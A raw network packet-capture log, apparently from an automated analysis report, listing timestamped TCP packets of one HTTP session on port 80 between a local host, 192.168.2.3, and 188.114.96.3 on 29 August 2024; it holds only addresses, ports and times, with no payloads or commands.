Aug 29, 2024 12:14:40.179944038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179954052 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179964066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179965973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179979086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.179984093 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.179994106 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.180012941 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.180032015 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.180064917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.180078030 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.180094957 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.180104971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.180110931 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.180115938 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.180130005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.180140972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.180144072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.180155039 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.180166006 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.180176020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.180202007 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.251214981 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251255035 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251266956 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251277924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251288891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251300097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251382113 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251444101 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251461029 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251470089 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.251511097 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251512051 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.251523018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251534939 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251547098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251559019 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.251571894 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.251595974 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.251703978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251717091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251728058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251739025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251749992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251758099 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.251760960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251775980 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251780033 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.251787901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.251799107 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.251821041 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.251977921 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.252018929 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.252568960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.252630949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.252643108 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.252677917 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.252712965 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.252723932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.252732992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.252747059 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.252757072 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.252769947 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.252798080 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.253720999 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.253746986 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.253758907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.253768921 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.253778934 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.253799915 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.253810883 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.253846884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.253993034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254004002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254015923 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254034996 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254060030 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254060984 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254071951 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254084110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254096031 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254106045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254138947 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254256010 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254267931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254283905 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254297018 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254304886 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254307985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254317045 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254321098 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254333019 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254340887 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254348040 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254363060 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254369020 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254380941 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254407883 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254448891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254461050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254472017 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254492998 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254517078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254573107 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254584074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254595041 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254615068 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254640102 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254687071 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254698992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254709005 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254719973 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254729986 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254733086 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254745007 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254754066 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254756927 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.254771948 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254796028 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.254833937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.255438089 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.269747972 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.269769907 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.269782066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.269793987 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.269804955 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.269808054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.269817114 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.269845963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.269845963 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.269871950 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.269882917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.269892931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.269906998 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.269917011 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.269927025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.269931078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.269937038 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.269973040 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270001888 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270013094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270052910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270083904 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270095110 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270103931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270123959 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270127058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270138025 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270142078 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270148993 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270164013 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270188093 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270268917 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270279884 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270291090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270299911 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270311117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270313025 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270323038 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270339012 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270339966 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270351887 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270358086 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270382881 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270412922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270423889 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270436049 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270446062 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270447969 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270468950 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270492077 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270541906 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270554066 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270565033 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270576954 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270589113 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270610094 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270678997 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270689964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270700932 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270711899 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270724058 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270729065 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270734072 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270745993 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270749092 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270762920 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270777941 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270803928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270899057 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270910978 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270920992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270932913 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270939112 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270946026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.270962000 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.270976067 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.271203995 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.271214962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.271225929 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.271236897 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.271240950 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.271249056 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.271266937 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.271286964 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342184067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342212915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342226028 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342237949 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342250109 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342247009 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342263937 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342281103 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342287064 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342298985 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342317104 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342320919 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342330933 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342339039 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342343092 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342358112 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342364073 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342395067 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342406988 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342413902 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342422009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342438936 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342472076 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342531919 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342546940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342566013 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342566967 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342580080 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342585087 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342596054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342597961 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342609882 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342614889 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342629910 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342643976 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.342982054 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.342994928 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.343023062 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.343036890 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.343838930 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.343852043 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.343863964 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.343884945 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.343910933 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.343944073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.343955994 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.343967915 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.343980074 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.343993902 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.344018936 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.344767094 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.344784021 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.344796896 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.344830990 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.344846964 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.344857931 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.344868898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.344886065 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.344897032 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.344908953 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.344912052 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.344933033 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.344947100 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.344954014 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.344965935 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.344991922 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345000982 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345005035 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345019102 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345033884 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345076084 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345088959 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345101118 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345113993 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345125914 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345201969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345213890 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345227003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345238924 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345248938 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345256090 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345263004 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345287085 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345371962 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345385075 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345406055 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345427036 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345566034 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345577002 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345587969 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345598936 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345613003 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345613956 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345626116 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345639944 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345640898 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345659018 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345659971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345678091 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345676899 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345693111 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345693111 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345706940 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345709085 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345721960 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345724106 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345735073 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345741034 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345753908 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.345755100 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345769882 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.345783949 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.361459970 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361485004 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361498117 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361510992 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361524105 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361536026 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361548901 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361553907 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.361592054 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.361629009 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361646891 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361659050 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361670971 CEST	80	62660	188.114.96.3	192.168.2.3
Aug 29, 2024 12:14:40.361680031 CEST	62660	80	192.168.2.3	188.114.96.3
Aug 29, 2024 12:14:40.361685038 CEST	80	62660	188.114.96.3	192.168.2.3
